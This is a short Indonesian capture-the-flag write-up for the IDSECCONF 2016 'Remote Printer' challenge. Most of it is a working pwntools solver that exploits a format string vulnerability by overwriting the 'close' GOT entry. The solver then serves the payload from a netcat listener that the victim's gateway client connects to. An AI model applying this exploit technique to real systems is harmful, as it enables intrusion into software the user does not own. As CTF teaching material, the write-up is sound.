IDSECCONF 2016 - Remote Printer (80 Points)
Masalah
Diberikan binary gateway, eksploitasi server korban dan temukan informasi rahasia didalamnya!
Penyelesaian
Binary ini memiliki kelemahan format string yang bisa dieksploitasi.
Gunakan solver.py sebagai attacker server.
import os
from pwn import *
EXPECTED = "%2712c%11$hnABCDEFGHIJKL\x38\x12\x60\x00\x00\x00\x00\x00"
FLAG = 0x00400a98 # <= 8 bytes
FLAG = 0x0a98 # <= 2 bytes
velf = ELF("./gateway")
p = ''
p += '%{}c%11$hn'.format(FLAG)
p += 'ABCDEFGHIJKL' # <= Junk bytes
p += p64(velf.got['close'])
assert p == EXPECTED
open('payload','w').write(p)
os.system('cat payload | nc -nvlp 51998')
$ python solver.py
Kemudian hubungkan klien gateway ke server yang diinginkan, misalkan 127.0.0.1:51998 dan simpan dalam berkas option.
127.0.0.1
51998
Maka server korban bisa dieksploitasi saat menjalankan perintah ini:
./gateway < options